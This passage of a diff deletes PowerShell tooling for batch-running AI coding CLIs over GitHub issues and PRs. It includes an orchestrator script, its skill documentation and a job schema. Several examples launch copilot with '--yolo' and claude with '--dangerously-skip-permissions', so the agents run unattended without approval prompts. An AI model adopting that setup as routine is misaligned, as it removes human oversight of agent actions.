Write-Host "[Issue #$issueNum] Creating PR..." -ForegroundColor Cyan
$submitResult = & $submitPRScript -IssueNumbers $issueNum -CLIType $CLIType -Force 2>&1
# Parse output to find PR URL
$prUrl = $null
$prNum = 0
if ($submitResult -match 'https://github.com/[^/]+/[^/]+/pull/(\d+)') {
$prUrl = $Matches[0]
$prNum = [int]$Matches[1]
}
if ($prNum -gt 0) {
$results.PRCreated.Add(@{ IssueNumber = $issueNum; PRNumber = $prNum; PRUrl = $prUrl })
Write-Host "[Issue #$issueNum] ✓ PR #$prNum created" -ForegroundColor Green
} else {
# Check if PR was already created
$existingPr = gh pr list --head "issue/$issueNum" --state open --json number,url 2>$null | ConvertFrom-Json
if ($existingPr -and $existingPr.Count -gt 0) {
$results.PRSkipped.Add(@{ IssueNumber = $issueNum; PRNumber = $existingPr[0].number; PRUrl = $existingPr[0].url; Reason = "Already exists" })
Write-Host "[Issue #$issueNum] PR already exists: #$($existingPr[0].number)" -ForegroundColor Yellow
} else {
$results.PRFailed.Add(@{ IssueNumber = $issueNum; Error = "No PR created" })
Write-Host "[Issue #$issueNum] ✗ PR creation failed" -ForegroundColor Red
}
}
}
catch {
$results.PRFailed.Add(@{ IssueNumber = $issueNum; Error = $_.Exception.Message })
Write-Host "[Issue #$issueNum] ✗ PR failed: $($_.Exception.Message)" -ForegroundColor Red
}
}
}
Info "`nPhase 2 complete: $($results.PRCreated.Count) created, $($results.PRSkipped.Count) skipped, $($results.PRFailed.Count) failed"
# ========================================
# PHASE 3: Review and Fix PRs (ITERATIVE LOOP)
# ========================================
Info "`n" + ("=" * 60)
Info "PHASE 3: Review & Fix PRs (Iterative Loop)"
Info ("=" * 60)
Info "Max iterations per PR: $MaxReviewIterations"
Info "Min severity to fix: $MinSeverityForLoop"
# Collect all PRs to review (newly created + existing)
$prsToReview = @()
foreach ($pr in $results.PRCreated.ToArray()) {
$prsToReview += @{ IssueNumber = $pr.IssueNumber; PRNumber = $pr.PRNumber }
}
foreach ($pr in $results.PRSkipped.ToArray()) {
$prsToReview += @{ IssueNumber = $pr.IssueNumber; PRNumber = $pr.PRNumber }
}
foreach ($issue in $issuesWithPR) {
$prInfo = $existingPRs[$issue.IssueNumber]
# Only include open PRs
if ($prInfo.State -eq 'OPEN') {
$prsToReview += @{ IssueNumber = $issue.IssueNumber; PRNumber = $prInfo.PRNumber }
}
}
Info "PRs to review: $($prsToReview.Count)"
# Track review loop results
$reviewLoopResults = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
if ($prsToReview.Count -gt 0) {
# Process sequentially to avoid overwhelming the AI CLI
foreach ($pr in $prsToReview) {
$issueNum = $pr.IssueNumber
$prNum = $pr.PRNumber
Info "`n [PR #$prNum for Issue #$issueNum] Starting review/fix loop..."
try {
$loopResult = Invoke-PRReviewFixLoop `
-PRNumber $prNum `
-IssueNumber $issueNum `
-CLIType $CLIType `
-MinSeverity $MinSeverityForLoop `
-MaxIterations $MaxReviewIterations
$reviewLoopResults.Add($loopResult)
if (-not $loopResult.IssuesRemaining) {
$results.ReviewSucceeded.Add(@{ IssueNumber = $issueNum; PRNumber = $prNum; Iterations = $loopResult.Iterations })
Success " [PR #$prNum] ✓ Clean after $($loopResult.Iterations) iteration(s)"
} else {
$results.ReviewFailed.Add(@{ IssueNumber = $issueNum; PRNumber = $prNum; Iterations = $loopResult.Iterations; RemainingIssues = $loopResult.FinalIssueCount })
Warn " [PR #$prNum] ⚠ $($loopResult.FinalIssueCount) issues remain after $($loopResult.Iterations) iterations"
}
}
catch {
$results.ReviewFailed.Add(@{ IssueNumber = $issueNum; PRNumber = $prNum; Error = $_.Exception.Message })
Err " [PR #$prNum] ✗ Review loop failed: $($_.Exception.Message)"
}
}
}
Info "`nPhase 3 complete: $($results.ReviewSucceeded.Count) clean, $($results.ReviewFailed.Count) with remaining issues"
# Final Summary
$duration = (Get-Date) - $startTime
Info "`n" + ("=" * 80)
Info "FULL CYCLE COMPLETE"
Info ("=" * 80)
Info "Duration: $($duration.ToString('hh\:mm\:ss'))"
Info ""
Info "Issues processed: $($issuesToProcess.Count)"
Success "Fixes succeeded: $($results.FixSucceeded.Count)"
if ($results.FixFailed.Count -gt 0) {
Err "Fixes failed: $($results.FixFailed.Count)"
}
Success "PRs created: $($results.PRCreated.Count)"
if ($results.PRSkipped.Count -gt 0) {
Warn "PRs skipped: $($results.PRSkipped.Count) (already existed)"
}
if ($results.PRFailed.Count -gt 0) {
Err "PRs failed: $($results.PRFailed.Count)"
}
Success "PRs clean (no issues): $($results.ReviewSucceeded.Count)"
if ($results.ReviewFailed.Count -gt 0) {
Warn "PRs with remaining issues: $($results.ReviewFailed.Count)"
}
Info ""
Info "Summary by issue:"
foreach ($issue in $issuesToProcess) {
$issueNum = $issue.IssueNumber
$prInfo = $results.PRCreated.ToArray() | Where-Object { $_.IssueNumber -eq $issueNum } | Select-Object -First 1
if (-not $prInfo) {
$prInfo = $results.PRSkipped.ToArray() | Where-Object { $_.IssueNumber -eq $issueNum } | Select-Object -First 1
}
if (-not $prInfo -and $existingPRs.ContainsKey($issueNum)) {
$prInfo = @{ PRNumber = $existingPRs[$issueNum].PRNumber }
}
$prNum = if ($prInfo) { "PR #$($prInfo.PRNumber)" } else { "No PR" }
$fixStatus = if ($results.FixSucceeded.ToArray() -contains $issueNum) { "" } elseif ($results.FixFailed.ToArray().IssueNumber -contains $issueNum) { "" } else { "-" }
# Check review status with iteration count
$reviewResult = $results.ReviewSucceeded.ToArray() | Where-Object { $_.IssueNumber -eq $issueNum -or $_.PRNumber -eq $prInfo.PRNumber } | Select-Object -First 1
$reviewFailResult = $results.ReviewFailed.ToArray() | Where-Object { $_.IssueNumber -eq $issueNum -or $_.PRNumber -eq $prInfo.PRNumber } | Select-Object -First 1
if ($reviewResult) {
$reviewStatus = "✓($($reviewResult.Iterations))"
} elseif ($reviewFailResult) {
$reviewStatus = "⚠($($reviewFailResult.RemainingIssues) left)"
} else {
$reviewStatus = "-"
}
Info (" Issue #{0,-6} [{1}Fix] [{2}Review] -> {3}" -f $issueNum, $fixStatus, $reviewStatus, $prNum)
}
Info ("=" * 80)
return @{
FixSucceeded = $results.FixSucceeded.ToArray()
FixFailed = $results.FixFailed.ToArray()
PRCreated = $results.PRCreated.ToArray()
PRSkipped = $results.PRSkipped.ToArray()
PRFailed = $results.PRFailed.ToArray()
ReviewSucceeded = $results.ReviewSucceeded.ToArray()
ReviewFailed = $results.ReviewFailed.ToArray()
}
}
catch {
Err "Error: $($_.Exception.Message)"
exit 1
}
#endregion

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,151 +0,0 @@
---
name: parallel-job-orchestrator
description: Generic parallel job orchestrator for running copilot, claude, or any CLI tool concurrently with queuing, monitoring, retry, and cleanup. Use when asked to run multiple jobs in parallel, batch process PRs or issues with copilot/claude, orchestrate concurrent CLI executions, run parallel reviews, run parallel triage, or execute any batch of shell commands concurrently. ALL skills that need parallel execution MUST use this orchestrator — do NOT use Start-Job, ForEach-Object -Parallel, or Start-Process directly.
license: Complete terms in LICENSE.txt
---
# Parallel Job Orchestrator
The **single, canonical way** to run multiple jobs concurrently in this repository. Every skill that needs to run copilot, claude, or any CLI tool in parallel **MUST** use this orchestrator. Do NOT use `Start-Job`, `ForEach-Object -Parallel`, or `Start-Process` directly — those approaches have known PowerShell 7 crash bugs that took 48 hours to diagnose and fix.
## When to Use This Skill
- Running copilot or claude CLI on multiple PRs/issues simultaneously
- Any batch processing that spawns multiple CLI processes
- Parallel review, triage, fix, or rework workflows
- Any skill that needs concurrent execution with retry and monitoring
## Why This Orchestrator Exists
PowerShell 7 has **silent host-process crash bugs** triggered by:
1. `[CmdletBinding()]`, `[Parameter(Mandatory)]`, `[ValidateSet()]` attributes propagating `ErrorActionPreference='Stop'` through child scopes
2. `Start-Job` called from within functions inside `while` loops — crashes after ~10-15 jobs
3. Accumulated completed `Job` objects consuming runspace resources
4. `ForEach-Object -Parallel` swallowing errors and losing context
This orchestrator avoids all of these by:
- **No advanced-function attributes** on the script itself
- **Inlined** all `Start-Job`/`Stop-Job`/`Remove-Job` calls (never in functions)
- **Immediately** `Receive-Job` + `Remove-Job` on completion
- **`$ErrorActionPreference = 'Continue'`** in the monitoring loop
- **Write-Host on every iteration** (PS7 kills the host if no output for ~8s in child-script loops)
## Quick Start
### Step 1: Build Job Definitions
Each job is a hashtable with this exact structure:
```powershell
$jobDef = @{
Label = 'copilot-pr-12345' # unique human-readable label
ExecutionParameters = @{
JobName = 'copilot-pr-12345' # PS job name
Command = 'copilot' # executable to run
Arguments = @('-p', 'Review PR #12345', '--yolo') # argument array
WorkingDir = 'C:\repo' # working directory
OutputDir = 'C:\repo\output\copilot\12345' # output directory (auto-created)
LogPath = 'C:\repo\output\copilot\12345\review.log' # stdout+stderr log
}
MonitorFiles = @('C:\repo\output\copilot\12345\review.log') # files to watch for activity
CleanupTask = $null # optional scriptblock: { param($Tracker) ... }
}
```
### Step 2: Call the Orchestrator
```powershell
# CRITICAL: Set ErrorActionPreference to Continue before calling
$savedEAP = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
$results = & '.github/skills/parallel-job-orchestrator/scripts/Invoke-SimpleJobOrchestrator.ps1' `
-JobDefinitions $jobDefs `
-MaxConcurrent 4 `
-InactivityTimeoutSeconds 60 `
-MaxRetryCount 3 `
-PollIntervalSeconds 5 `
-LogDir 'C:\repo\output'
$ErrorActionPreference = $savedEAP
```
### Step 3: Process Results
The orchestrator returns an array of result objects:
```powershell
$results | Format-Table Label, Status, JobState, ExitCode, RetryCount -AutoSize
```
| Property | Type | Description |
|----------|------|-------------|
| `Label` | string | Job label from definition |
| `JobId` | int | Last PowerShell job ID |
| `Status` | string | `Completed`, `Failed`, `Abandoned` |
| `JobState` | string | PowerShell job state |
| `ExitCode` | int | Process exit code |
| `RetryCount` | int | Number of retries performed |
| `OutputDir` | string | Output directory path |
| `LogPath` | string | Log file path |
## Parameters
| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `-JobDefinitions` | hashtable[] | **(required)** | Array of job definition hashtables |
| `-MaxConcurrent` | int | 4 | Maximum simultaneous jobs |
| `-InactivityTimeoutSeconds` | int | 60 | Seconds of zero log-file growth before stale |
| `-MaxRetryCount` | int | 3 | Retry attempts before abandoning |
| `-PollIntervalSeconds` | int | 5 | Health-check interval |
| `-LogDir` | string | `$env:TEMP` | Directory for orchestrator's own log |
## Job Definition Schema
See [references/job-definition-schema.md](./references/job-definition-schema.md) for the complete schema, copilot/claude examples, and the CleanupTask API.
## Critical Rules for Callers
1. **Set `$ErrorActionPreference = 'Continue'`** before calling the orchestrator
2. **Do NOT** wrap the orchestrator call in a `try/catch` that re-throws
3. **Do NOT** use `[CmdletBinding()]` or `[Parameter(Mandatory)]` on your runner script
4. **Do NOT** use `Start-Job`, `ForEach-Object -Parallel`, or `Start-Process` for parallel work — use this orchestrator
5. **Do** use manual validation (`if (-not $param) { Write-Error ...; return }`) instead of parameter attributes
## Scripts
| Script | Purpose |
|--------|---------|
| [Invoke-SimpleJobOrchestrator.ps1](./scripts/Invoke-SimpleJobOrchestrator.ps1) | The orchestrator — the ONLY parallel execution engine |
| [Test-OrchestratorEdgeCases.ps1](./scripts/Test-OrchestratorEdgeCases.ps1) | 28-scenario stress test suite |
## Execution & Monitoring Rules
The orchestrator is a long-running poll loop. The agent calling it MUST:
1. **Never exit early** — monitor the orchestrator log until it prints "All N jobs finished."
2. **For VS Code terminal usage**, launch the parent script as a detached process (`Start-Process -WindowStyle Hidden`) with `Tee-Object` to a log file. VS Code kills idle background terminals after ~60s.
3. **Poll the log every 30120 seconds** and report concise progress (done/total, running jobs, retries).
4. **On unexpected termination**, check the orchestrator log's last entries, diagnose the failure, and relaunch.
5. **Only report done** after the orchestrator returns results and all downstream processing is complete.
## Post-Execution Review
After using the orchestrator:
1. Check the orchestrator log in `$LogDir/orchestrator-*.log` for errors
2. Verify all expected jobs show `Completed` status in results
3. Check `RetryCount` — high retries may indicate CLI instability
4. Review `Abandoned` jobs — these hit `MaxRetryCount` and need manual attention
## Troubleshooting
| Symptom | Cause | Fix |
|---------|-------|-----|
| PS7 crashes silently | Advanced-function attributes on caller | Remove `[CmdletBinding()]`, `[Parameter()]` from runner script |
| PS7 crashes after ~10 jobs | `Start-Job` inside functions in while loops | Already fixed in orchestrator; don't re-introduce functions |
| Jobs stuck as "Running" | `InactivityTimeoutSeconds` too high | Lower timeout or check CLI isn't hanging |
| All jobs `Abandoned` | CLI tool not installed or auth expired | Test CLI manually: `copilot -p "hello" --yolo` |
| Orchestrator itself crashes at iter ~9 | Too many VS Code terminals open | Kill all terminals, restart VS Code, run in single terminal |

View File

@@ -1,166 +0,0 @@
# Job Definition Schema
This document defines the exact hashtable structure required by the
`Invoke-SimpleJobOrchestrator.ps1` script. Every skill that needs parallel
execution builds an array of these hashtables and passes them to the
orchestrator.
## Schema
```powershell
@{
Label = [string] # REQUIRED: unique human-readable label (e.g. 'copilot-pr-12345')
ExecutionParameters = @{
JobName = [string] # REQUIRED: PowerShell background job name
Command = [string] # REQUIRED: executable to run (e.g. 'copilot', 'claude', 'gh')
Arguments = [string[]] # REQUIRED: argument array splatted to Command
WorkingDir = [string] # REQUIRED: working directory for the job
OutputDir = [string] # REQUIRED: output directory (auto-created by orchestrator)
LogPath = [string] # REQUIRED: path for stdout+stderr capture
}
MonitorFiles = [string[]] # REQUIRED: files to watch for activity (typically LogPath or a debug log)
CleanupTask = [scriptblock] # OPTIONAL: runs after job finishes or is abandoned
}
```
## Field Details
### Label
A unique string identifying the job in logs and results. Convention:
`{cli-type}-{skill}-{id}` — e.g. `copilot-pr-45601`, `claude-issue-1234`.
### ExecutionParameters
| Field | Description |
|-------|-------------|
| `JobName` | Name for `Start-Job -Name`. Should match `Label`. |
| `Command` | The executable. Must be in `$PATH` or an absolute path. |
| `Arguments` | Array of arguments. Splatted via `@ArgList`. |
| `WorkingDir` | The job sets `Set-Location` to this before running. |
| `OutputDir` | The orchestrator creates this directory automatically. |
| `LogPath` | All stdout+stderr is redirected here via `*> $LogFile`. |
### MonitorFiles
Array of file paths the orchestrator watches for growth. If none of these
files grow for `InactivityTimeoutSeconds`, the job is considered stale and
retried.
**For copilot CLI**: Monitor the `LogPath` (stdout/stderr).
**For claude CLI**: Monitor the debug log (`--debug-file` path) — claude
writes progress there more frequently than to stdout.
### CleanupTask
Optional scriptblock that receives the tracker hashtable as its single
parameter. Runs after the job completes, fails, or is abandoned. Use for
cleaning up large temporary files.
```powershell
CleanupTask = {
param($Tracker)
$debugLog = Join-Path $Tracker.ExecutionParameters.OutputDir '_debug.log'
if (Test-Path $debugLog) { Remove-Item $debugLog -Force }
}
```
## Examples
### Copilot CLI Job
```powershell
@{
Label = 'copilot-pr-45601'
ExecutionParameters = @{
JobName = 'copilot-pr-45601'
Command = 'copilot'
Arguments = @('-p', 'Review PR #45601 in microsoft/PowerToys...', '--yolo')
WorkingDir = 'C:\s\PowerToys'
OutputDir = 'C:\s\PowerToys\output\copilot\45601'
LogPath = 'C:\s\PowerToys\output\copilot\45601\_copilot-review.log'
}
MonitorFiles = @('C:\s\PowerToys\output\copilot\45601\_copilot-review.log')
CleanupTask = $null
}
```
### Claude CLI Job
```powershell
@{
Label = 'claude-pr-45601'
ExecutionParameters = @{
JobName = 'claude-pr-45601'
Command = 'claude'
Arguments = @('-p', 'Review PR #45601 in microsoft/PowerToys...',
'--dangerously-skip-permissions',
'--debug', 'all', '--debug-file', 'C:\output\claude\45601\_claude-debug.log')
WorkingDir = 'C:\s\PowerToys'
OutputDir = 'C:\s\PowerToys\output\claude\45601'
LogPath = 'C:\s\PowerToys\output\claude\45601\_claude-review.log'
}
MonitorFiles = @('C:\s\PowerToys\output\claude\45601\_claude-debug.log')
CleanupTask = {
param($Tracker)
$dbg = Join-Path $Tracker.ExecutionParameters.OutputDir '_claude-debug.log'
if (Test-Path $dbg) {
$fi = [System.IO.FileInfo]::new($dbg)
if ($fi.Length -gt 0) {
$sizeMB = [math]::Round($fi.Length / 1MB, 1)
Remove-Item $dbg -Force
Write-Host "[$($Tracker.Label)] Cleaned debug log (${sizeMB} MB)"
}
}
}
}
```
### Generic Shell Command Job
```powershell
@{
Label = 'lint-module-fancyzones'
ExecutionParameters = @{
JobName = 'lint-fancyzones'
Command = 'dotnet'
Arguments = @('build', '--no-restore', '-warnaserror')
WorkingDir = 'C:\s\PowerToys\src\modules\fancyzones'
OutputDir = 'C:\s\PowerToys\output\lint\fancyzones'
LogPath = 'C:\s\PowerToys\output\lint\fancyzones\build.log'
}
MonitorFiles = @('C:\s\PowerToys\output\lint\fancyzones\build.log')
CleanupTask = $null
}
```
## Caller Template
Every skill that builds job definitions and calls the orchestrator should
follow this pattern:
```powershell
# Build definitions
$jobDefs = @(foreach ($item in $items) {
@{
Label = "myskill-$($item.Id)"
ExecutionParameters = @{ ... }
MonitorFiles = @(...)
CleanupTask = $null
}
})
# Resolve orchestrator path
$orchestratorPath = Join-Path $PSScriptRoot '..\..\parallel-job-orchestrator\scripts\Invoke-SimpleJobOrchestrator.ps1'
# CRITICAL: Lower ErrorActionPreference before calling
$savedEAP = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
$results = & $orchestratorPath `
-JobDefinitions $jobDefs `
-MaxConcurrent 4 `
-LogDir $outputPath
$ErrorActionPreference = $savedEAP
# Process results
$results | Format-Table Label, Status, ExitCode, RetryCount -AutoSize
```

View File

@@ -1,358 +0,0 @@
<#
.SYNOPSIS
Generic job orchestrator: queues, starts, monitors, retries, and cleans up
PowerShell background jobs with configurable concurrency.
.DESCRIPTION
Accepts an array of job definitions (created via New-JobDefinition), queues
them in memory, and runs up to MaxConcurrent at a time. Jobs are retried
up to MaxRetryCount times when they:
- Exit with a non-zero exit code
- Finish with a Failed or NotFound job state
- Stall (log-file inactivity exceeds InactivityTimeoutSeconds)
When a job finishes or is abandoned, its optional CleanupTask scriptblock
runs.
Returns an array of result objects with final state, exit code, retry count,
and output directory for every definition.
This is the CANONICAL parallel execution engine for this repository.
ALL skills that need to run copilot, claude, or any CLI tool in parallel
MUST use this orchestrator. Do NOT use Start-Job, ForEach-Object -Parallel,
or Start-Process directly — those approaches have known PowerShell 7 crash
bugs.
Part of the parallel-job-orchestrator skill:
<configRoot>/skills/parallel-job-orchestrator/SKILL.md
.PARAMETER JobDefinitions
Array of job-definition hashtables created by New-JobDefinition.
.PARAMETER MaxConcurrent
Maximum number of jobs running simultaneously. Default 4.
.PARAMETER InactivityTimeoutSeconds
Seconds of zero log-file growth before a job is considered stale. Default 60.
.PARAMETER MaxRetryCount
How many times to restart a stale job before giving up. Default 3.
.PARAMETER PollIntervalSeconds
How often (seconds) to check job health. Default 5.
.PARAMETER LogDir
Directory for the orchestrator's own progress log. Default: TEMP.
#>
# NOTE: Do NOT use [CmdletBinding()] here. When a caller sets
# $ErrorActionPreference='Stop', CmdletBinding propagates that as the implicit
# -ErrorAction common parameter, overriding any local assignment. A monitoring
# loop must be resilient, so we intentionally stay as a simple script.
# IMPORTANT: Do not use [Parameter()], [ValidateSet()] or any attribute on params
# either — those ALSO implicitly enable advanced-script behaviour.
param(
[hashtable[]]$JobDefinitions,
[int]$MaxConcurrent = 4,
[int]$InactivityTimeoutSeconds = 60,
[int]$MaxRetryCount = 3,
[int]$PollIntervalSeconds = 5,
[string]$LogDir
)
# Manual mandatory check (replacing [Parameter(Mandatory)] which makes this
# an advanced script and re-enables ErrorActionPreference propagation).
if (-not $JobDefinitions -or $JobDefinitions.Count -eq 0) {
Write-Error 'Invoke-SimpleJobOrchestrator: -JobDefinitions is required and must not be empty.'
return @()
}
# Orchestrator must be resilient — individual operations handle their own errors.
$ErrorActionPreference = 'Continue'
# ── logging ──────────────────────────────────────────────────────────────
# Verbose progress goes to a log file to avoid terminal-output issues that
# can silently terminate the script when run inside VS Code / IDE terminals.
# Only summary-level messages go to Write-Host (console).
if (-not $LogDir) { $LogDir = $env:TEMP }
New-Item -ItemType Directory -Path $LogDir -Force -ErrorAction SilentlyContinue | Out-Null
$script:_orchestratorLog = Join-Path $LogDir "orchestrator-$(Get-Date -Format 'yyyyMMdd-HHmmss').log"
function Write-Log {
param([string]$Message)
$ts = Get-Date -Format 'HH:mm:ss'
$line = "[$ts] $Message"
try { Add-Content -Path $script:_orchestratorLog -Value $line -ErrorAction SilentlyContinue }
catch { }
}
function Write-ProgressMessage {
<# Write to both console and log file. Use sparingly. #>
param([string]$Message)
Write-Log $Message
Write-Host $Message
}
# ── helpers ──────────────────────────────────────────────────────────────
# IMPORTANT: Start-TrackedJob is deliberately NOT a function. PowerShell 7
# silently crashes the host process when Start-Job is called from within a
# function that is invoked inside a while loop in a .ps1 script file (~10-15
# jobs triggers it). Inline the Start-Job call at every call site instead.
# Shared scriptblock for all tracked jobs (defined once, reused).
$_jobScriptBlock = {
param($Cmd, $ArgList, $WorkDir, $LogFile)
Set-Location $WorkDir
if (Test-Path $LogFile) { Remove-Item $LogFile -Force }
& $Cmd @ArgList *> $LogFile
[PSCustomObject]@{
Command = $Cmd
ExitCode = $LASTEXITCODE
LogPath = $LogFile
}
}
# NOTE: Test-MonitorFilesActive, Stop-TrackedJob, and Invoke-CleanupTask
# are deliberately NOT functions. PowerShell 7 silently crashes the host when
# certain cmdlets (Stop-Job, Remove-Job, Get-Job, Get-Item) are called from
# within a function in a while loop inside a .ps1 script. Their logic is
# inlined at every call site below.
function Get-TrackerResult {
param([hashtable]$Tracker)
# Job output was collected and stored in _ReceivedOutput / _FinalJobState
# at completion time (before Remove-Job). Fall back to live query only if
# the tracker somehow missed the collection step.
$received = $Tracker._ReceivedOutput
$state = $Tracker._FinalJobState
if (-not $state) {
$jobObj = Get-Job -Id $Tracker.JobId -ErrorAction SilentlyContinue
$received = if ($jobObj) {
Receive-Job -Id $Tracker.JobId -Keep -ErrorAction SilentlyContinue
}
else { $null }
$state = if ($jobObj) { $jobObj.State } else { 'Removed' }
}
[PSCustomObject]@{
Label = $Tracker.Label
JobId = $Tracker.JobId
Status = $Tracker.Status
JobState = $state
ExitCode = if ($received) { $received.ExitCode } else { $null }
RetryCount = $Tracker.RetryCount
OutputDir = $Tracker.ExecutionParameters.OutputDir
LogPath = $Tracker.ExecutionParameters.LogPath
}
}
# ── build tracker list ───────────────────────────────────────────────────
$queue = [System.Collections.Generic.Queue[hashtable]]::new()
$running = [System.Collections.Generic.List[hashtable]]::new()
$finished = [System.Collections.Generic.List[hashtable]]::new()
foreach ($def in $JobDefinitions) {
$tracker = @{
Label = $def.Label
ExecutionParameters = $def.ExecutionParameters
MonitorFiles = $def.MonitorFiles
CleanupTask = $def.CleanupTask
Status = 'Queued'
JobId = $null
RetryCount = 0
LastFileSizes = @{}
LastChangeTime = [DateTime]::UtcNow
}
$queue.Enqueue($tracker)
}
Write-ProgressMessage "Orchestrator: $($queue.Count) jobs queued, max $MaxConcurrent concurrent. Log: $script:_orchestratorLog"
# ── main loop ────────────────────────────────────────────────────────────
$loopIteration = 0
while ($queue.Count -gt 0 -or $running.Count -gt 0) {
$loopIteration++
try {
$ErrorActionPreference = 'Continue'
# fill slots from queue
while ($running.Count -lt $MaxConcurrent -and $queue.Count -gt 0) {
$t = $queue.Dequeue()
Write-Log "Dequeued $($t.Label); about to start job (running=$($running.Count), queue=$($queue.Count))"
try {
# ── inline Start-TrackedJob (see note above about PS7 crash) ──
$ep = $t.ExecutionParameters
New-Item -ItemType Directory -Path $ep.OutputDir -Force | Out-Null
$job = Start-Job -Name $ep.JobName -ScriptBlock $_jobScriptBlock `
-ArgumentList $ep.Command, $ep.Arguments, $ep.WorkingDir, $ep.LogPath
$t.JobId = $job.Id
$t.Status = 'Running'
$t.LastFileSizes = @{}
$t.LastChangeTime = [DateTime]::UtcNow
foreach ($f in $t.MonitorFiles) { $t.LastFileSizes[$f] = 0L }
Write-Log "[$($t.Label)] Started job $($job.Id)"
}
catch {
Write-Log "Start job FAILED for $($t.Label): $_"
$t.Status = 'Failed'
$finished.Add($t)
continue
}
$running.Add($t)
}
Write-Log "Sleeping ${PollIntervalSeconds}s..."
Start-Sleep -Seconds $PollIntervalSeconds
# evaluate every running tracker
$toRemove = [System.Collections.Generic.List[hashtable]]::new()
foreach ($t in $running) {
$jobObj = Get-Job -Id $t.JobId -ErrorAction SilentlyContinue
$jobState = if ($jobObj) { $jobObj.State } else { 'NotFound' }
# ── finished naturally ────────────────────────────────────
if ($jobState -in 'Completed', 'Failed', 'NotFound') {
# Collect job output before deciding whether to retry.
$received = $null
if ($jobObj) {
$received = Receive-Job -Id $t.JobId -ErrorAction SilentlyContinue
}
Remove-Job -Id $t.JobId -Force -ErrorAction SilentlyContinue
$exitCode = if ($received) { $received.ExitCode } else { $null }
$isFailedExit = ($jobState -in 'Failed', 'NotFound') -or
($null -ne $exitCode -and $exitCode -ne 0)
# ── retry if the process exited with failure ──────────
if ($isFailedExit -and $t.RetryCount -lt $MaxRetryCount) {
$t.RetryCount++
Write-Log "[$($t.Label)] Exited with failure (state=$jobState, exit=$exitCode) — retry $($t.RetryCount)/$MaxRetryCount"
# ── inline cleanup before retry (no function — see PS7 crash note) ──
if ($t.CleanupTask) {
try { & $t.CleanupTask $t }
catch { Write-Log "[$($t.Label)] Cleanup failed: $_" }
}
# ── inline Start-TrackedJob for retry (see note about PS7 crash) ──
$ep = $t.ExecutionParameters
New-Item -ItemType Directory -Path $ep.OutputDir -Force | Out-Null
$job = Start-Job -Name $ep.JobName -ScriptBlock $_jobScriptBlock `
-ArgumentList $ep.Command, $ep.Arguments, $ep.WorkingDir, $ep.LogPath
$t.JobId = $job.Id
$t.Status = 'Running'
$t.LastFileSizes = @{}
$t.LastChangeTime = [DateTime]::UtcNow
foreach ($f in $t.MonitorFiles) { $t.LastFileSizes[$f] = 0L }
Write-Log "[$($t.Label)] Retry started job $($job.Id)"
continue
}
$t.Status = if ($isFailedExit) { 'Failed' } else { $jobState }
Write-Log "[$($t.Label)] Finished (state=$jobState, exit=$exitCode) after $($t.RetryCount) retries."
$t._ReceivedOutput = $received
$t._FinalJobState = $jobState
# ── inline cleanup (no function — see PS7 crash note) ──
if ($t.CleanupTask) {
try { & $t.CleanupTask $t }
catch { Write-Log "[$($t.Label)] Cleanup failed: $_" }
}
$toRemove.Add($t)
continue
}
# ── still running — check monitor files ──────────────────
$active = $false
try {
# ── inline file-activity check (no function — see PS7 crash note) ──
$_anyGrew = $false
foreach ($_f in $t.MonitorFiles) {
$_sz = 0L
if (Test-Path $_f) { $_sz = ([System.IO.FileInfo]::new($_f)).Length }
if ($_sz -ne $t.LastFileSizes[$_f]) {
$t.LastFileSizes[$_f] = $_sz
$_anyGrew = $true
}
}
$active = $_anyGrew
}
catch { $active = $true }
if ($active) {
$t.LastChangeTime = [DateTime]::UtcNow
continue
}
$staleSecs = [math]::Round(([DateTime]::UtcNow - $t.LastChangeTime).TotalSeconds)
if ($staleSecs -lt $InactivityTimeoutSeconds) { continue }
# ── stale — retry or give up ─────────────────────────────
if ($t.RetryCount -ge $MaxRetryCount) {
Write-Log "[$($t.Label)] Max retries ($MaxRetryCount) after ${staleSecs}s stale. Giving up."
$t.Status = 'Abandoned'
# ── inline stop + cleanup (no function — see PS7 crash note) ──
Stop-Job -Id $t.JobId -ErrorAction SilentlyContinue
Remove-Job -Id $t.JobId -Force -ErrorAction SilentlyContinue
if ($t.CleanupTask) {
try { & $t.CleanupTask $t }
catch { Write-Log "[$($t.Label)] Cleanup failed: $_" }
}
$toRemove.Add($t)
continue
}
$t.RetryCount++
Write-Log "[$($t.Label)] Stale ${staleSecs}s — retry $($t.RetryCount)/$MaxRetryCount"
# ── inline stop (no function — see PS7 crash note) ──
Stop-Job -Id $t.JobId -ErrorAction SilentlyContinue
Remove-Job -Id $t.JobId -Force -ErrorAction SilentlyContinue
# ── inline Start-TrackedJob for retry (see note about PS7 crash) ──
$ep = $t.ExecutionParameters
New-Item -ItemType Directory -Path $ep.OutputDir -Force | Out-Null
$job = Start-Job -Name $ep.JobName -ScriptBlock $_jobScriptBlock `
-ArgumentList $ep.Command, $ep.Arguments, $ep.WorkingDir, $ep.LogPath
$t.JobId = $job.Id
$t.Status = 'Running'
$t.LastFileSizes = @{}
$t.LastChangeTime = [DateTime]::UtcNow
foreach ($f in $t.MonitorFiles) { $t.LastFileSizes[$f] = 0L }
Write-Log "[$($t.Label)] Retry started job $($job.Id)"
}
foreach ($r in $toRemove) {
$running.Remove($r) | Out-Null
$finished.Add($r)
}
}
catch {
Write-Log "Loop error (iter $loopIteration): $_ | $($_.Exception.GetType().FullName)"
}
# log every iteration; console progress every iteration (REQUIRED:
# PowerShell 7 silently kills the host process when a child-script
